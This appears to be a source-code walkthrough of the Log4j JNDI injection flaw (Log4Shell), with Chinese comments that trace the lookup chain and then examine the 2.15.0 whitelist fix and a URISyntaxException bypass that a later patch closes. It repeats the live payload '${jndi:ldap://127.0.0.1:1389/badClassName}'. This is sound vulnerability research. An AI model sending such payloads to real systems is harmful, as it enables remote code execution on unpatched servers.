public static void main(String[] args) throws Exception { logger.error("${jndi:ldap://127.0.0.1:1389/badClassName}");}
private void tryLogMessage(final String fqcn, final StackTraceElement location, final Level level, final Marker marker, final Message message, final Throwable throwable) { try { log(level, marker, fqcn, location, message, throwable); } catch (final Exception e) { handleLogMessageException(e, fqcn, message); }}
@Overrideprotected void log(final Level level, final Marker marker, final String fqcn, final StackTraceElement location, final Message message, final Throwable throwable) { final ReliabilityStrategy strategy = privateConfig.loggerConfig.getReliabilityStrategy(); if (strategy instanceof LocationAwareReliabilityStrategy) { // 触发点 ((LocationAwareReliabilityStrategy) strategy).log(this, getName(), fqcn, location, marker, level, message, throwable); } else { strategy.log(this, getName(), fqcn, marker, level, message, throwable); }}
@Overridepublic void log(final Supplier<LoggerConfig> reconfigured, final String loggerName, final String fqcn, final StackTraceElement location, final Marker marker, final Level level, final Message data, final Throwable t) { loggerConfig.log(loggerName, fqcn, location, marker, level, data, t);}
@PerformanceSensitive("allocation") public void log(final String loggerName, final String fqcn, final StackTraceElement location, final Marker marker, final Level level, final Message data, final Throwable t) { // 无需关心的代码 ... try { // 跟入 log(logEvent, LoggerConfigPredicate.ALL); } finally { ReusableLogEventFactory.release(logEvent); } }
protected void log(final LogEvent event, final LoggerConfigPredicate predicate) { if (!isFiltered(event)) { // 跟入 processLogEvent(event, predicate); }}
private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) { event.setIncludeLocation(isIncludeLocation()); if (predicate.allow(this)) { // 关键点 callAppenders(event); } logParent(event, predicate);}
@PerformanceSensitive("allocation")protected void callAppenders(final LogEvent event) { final AppenderControl[] controls = appenders.get(); //noinspection ForLoopReplaceableByForEach for (int i = 0; i < controls.length; i++) { controls[i].callAppender(event); }}
private void callAppender0(final LogEvent event) { ensureAppenderStarted(); if (!isFilteredByAppender(event)) { // 跟入 tryCallAppender(event); }}
private void tryCallAppender(final LogEvent event) { try { // 跟入 appender.append(event); } catch (final RuntimeException error) { handleAppenderError(event, error); } catch (final Exception error) { handleAppenderError(event, new AppenderLoggingException(error)); }}
protected void directEncodeEvent(final LogEvent event) { getLayout().encode(event, manager); if (this.immediateFlush || event.isEndOfBatch()) { manager.flush(); }}
@Overridepublic void encode(final LogEvent event, final ByteBufferDestination destination) { if (!(eventSerializer instanceof Serializer2)) { super.encode(event, destination); return; } final StringBuilder text = toText((Serializer2) eventSerializer, event, getStringBuilder()); final Encoder<StringBuilder> encoder = getStringBuilderEncoder(); encoder.encode(text, destination); trimToMaxSize(text);}
private StringBuilder toText(final Serializer2 serializer, final LogEvent event, final StringBuilder destination) { return serializer.toSerializable(event, destination);}
@Overridepublic StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) { final int len = formatters.length; for (int i = 0; i < len; i++) { // 发现其中某一处format方法触发漏洞 formatters[i].format(event, buffer); } if (replace != null) { String str = buffer.toString(); str = replace.format(str); buffer.setLength(0); buffer.append(str); } return buffer;}
public void format(final LogEvent event, final StringBuilder buf) { if (skipFormattingInfo) { converter.format(event, buf); } else { formatWithInfo(event, buf); }}
@Overridepublic void format(final LogEvent event, final StringBuilder toAppendTo) { final Message msg = event.getMessage(); if (msg instanceof StringBuilderFormattable) { final boolean doRender = textRenderer != null; final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo; final int offset = workingBuilder.length(); if (msg instanceof MultiFormatStringBuilderFormattable) { ((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder); } else { ((StringBuilderFormattable) msg).formatTo(workingBuilder); } if (config != null && !noLookups) { for (int i = offset; i < workingBuilder.length() - 1; i++) { // 是否以${开头 if (workingBuilder.charAt(i) == '/pre> && workingBuilder.charAt(i + 1) == '{') { // 这个value是:${jndi:ldap://127.0.0.1:1389/badClassName} final String value = workingBuilder.substring(offset, workingBuilder.length()); workingBuilder.setLength(offset); // 跟入replace方法 workingBuilder.append(config.getStrSubstitutor().replace(event, value)); } } } if (doRender) { textRenderer.render(workingBuilder, toAppendTo); } return; } if (msg != null) { String result; if (msg instanceof MultiformatMessage) { result = ((MultiformatMessage) msg).getFormattedMessage(formats); } else { result = msg.getFormattedMessage(); } if (result != null) { toAppendTo.append(config != null && result.contains("${") ? config.getStrSubstitutor().replace(event, result) : result); } else { toAppendTo.append("null"); } }}
public String replace(final LogEvent event, final String source) { if (source == null) { return null; } final StringBuilder buf = new StringBuilder(source); // 跟入 if (!substitute(event, buf, 0, source.length())) { return source; } return buf.toString();}
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List<String> priorVariables) { ... substitute(event, bufName, 0, bufName.length()); ... String varValue = resolveVariable(event, varName, buf, startPos, endPos); ... int change = substitute(event, buf, startPos, varLen, priorVariables);}
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) { final StrLookup resolver = getVariableResolver(); if (resolver == null) { return null; } // 进入 return resolver.lookup(event, variableName);}
@Overridepublic String lookup(final LogEvent event, String var) { if (var == null) { return null; } final int prefixPos = var.indexOf(PREFIX_SEPARATOR); if (prefixPos >= 0) { final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US); final String name = var.substring(prefixPos + 1); // 关键 final StrLookup lookup = strLookupMap.get(prefix); if (lookup instanceof ConfigurationAware) { ((ConfigurationAware) lookup).setConfiguration(configuration); } String value = null; if (lookup != null) { // 这里的name是:ldap://127.0.0.1:1389/badClassName value = event == null ? lookup.lookup(name) : lookup.lookup(event, name); } if (value != null) { return value; } var = var.substring(prefixPos + 1); } if (defaultLookup != null) { return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var); } return null;}
logger.error("${java:runtime}");// 打印00:36:26.312 [main] ERROR Main - Java(TM) SE Runtime Environment (build 1.8.0_131-b11) from Oracle Corporation
@Overridepublic String lookup(final LogEvent event, final String key) { if (key == null) { return null; } final String jndiName = convertJndiName(key); try (final JndiManager jndiManager = JndiManager.getDefaultManager()) { // 跟入lookup return Objects.toString(jndiManager.lookup(jndiName), null); } catch (final NamingException e) { LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e); return null; }}
@SuppressWarnings("unchecked")public <T> T lookup(final String name) throws NamingException { return (T) this.context.lookup(name);}
@Overridepublic StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) { for (PatternFormatter formatter : formatters) { formatter.format(event, buffer); } return buffer;}
private static final class SimpleMessagePatternConverter extends MessagePatternConverter { private static final MessagePatternConverter INSTANCE = new SimpleMessagePatternConverter(); @Override public void format(final LogEvent event, final StringBuilder toAppendTo) { Message msg = event.getMessage(); // 直接拼接字符串 if (msg instanceof StringBuilderFormattable) { ((StringBuilderFormattable) msg).formatTo(toAppendTo); } else if (msg != null) { toAppendTo.append(msg.getFormattedMessage()); } }}
private static final class LookupMessagePatternConverter extends MessagePatternConverter { private final MessagePatternConverter delegate; private final Configuration config; LookupMessagePatternConverter(final MessagePatternConverter delegate, final Configuration config) { this.delegate = delegate; this.config = config; } @Override public void format(final LogEvent event, final StringBuilder toAppendTo) { int start = toAppendTo.length(); delegate.format(event, toAppendTo); // 判断${} int indexOfSubstitution = toAppendTo.indexOf("${", start); if (indexOfSubstitution >= 0) { config.getStrSubstitutor() // 进入了上文的流程 .replaceIn(event, toAppendTo, indexOfSubstitution, toAppendTo.length() - indexOfSubstitution); } }}
private static final String LOOKUPS = "lookups";private static final String NOLOOKUPS = "nolookups";public static MessagePatternConverter newInstance(final Configuration config, final String[] options) { boolean lookups = loadLookups(options); String[] formats = withoutLookupOptions(options); TextRenderer textRenderer = loadMessageRenderer(formats); // 默认不配置lookup功能 MessagePatternConverter result = formats == null || formats.length == 0 ? SimpleMessagePatternConverter.INSTANCE : new FormattedMessagePatternConverter(formats); if (lookups && config != null) { // 只有用户进行配置才会触发 result = new LookupMessagePatternConverter(result, config); } if (textRenderer != null) { result = new RenderingPatternConverter(result, textRenderer); } return result;}
final Configuration config = new DefaultConfigurationBuilder().build(true);// 配置开启lookup功能final MessagePatternConverter converter = MessagePatternConverter.newInstance(config, new String[] {"lookups"});final Message msg = new ParameterizedMessage("${jndi:ldap://127.0.0.1:1389/badClassName}");final LogEvent event = Log4jLogEvent.newBuilder() .setLoggerName("MyLogger") .setLevel(Level.DEBUG) .setMessage(msg).build();final StringBuilder sb = new StringBuilder();converter.format(event, sb);System.out.println(sb);
public synchronized <T> T lookup(final String name) throws NamingException { try { URI uri = new URI(name); if (uri.getScheme() != null) { // 允许的协议白名单 if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) { LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme()); return null; } if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) { // 允许的host白名单 if (!allowedHosts.contains(uri.getHost())) { LOGGER.warn("Attempt to access ldap server not in allowed list"); return null; } Attributes attributes = this.context.getAttributes(name); if (attributes != null) { Map<String, Attribute> attributeMap = new HashMap<>(); NamingEnumeration<? extends Attribute> enumeration = attributes.getAll(); while (enumeration.hasMore()) { Attribute attribute = enumeration.next(); attributeMap.put(attribute.getID(), attribute); } Attribute classNameAttr = attributeMap.get(CLASS_NAME); // 参考下图我们这种Payload不存在javaSerializedData头 // 所以不会进入类白名单判断 if (attributeMap.get(SERIALIZED_DATA) != null) { if (classNameAttr != null) { // 类名白名单 String className = classNameAttr.get().toString(); if (!allowedClasses.contains(className)) { LOGGER.warn("Deserialization of {} is not allowed", className); return null; } } else { LOGGER.warn("No class name provided for {}", name); return null; } } else if (attributeMap.get(REFERENCE_ADDRESS) != null || attributeMap.get(OBJECT_FACTORY) != null) { // 不允许REFERENCE这种加载对象的方式 LOGGER.warn("Referenceable class is not allowed for {}", name); return null; } } } } } catch (URISyntaxException ex) { // This is OK. } return (T) this.context.lookup(name);}
public synchronized <T> T lookup(final String name) throws NamingException { try { URI uri = new URI(name); ... } catch (URISyntaxException ex) { // This is OK. } return (T) this.context.lookup(name);}
try{} catch (URISyntaxException ex) { LOGGER.warn("Invalid JNDI URI - {}", name); return null;}return (T) this.context.lookup(name);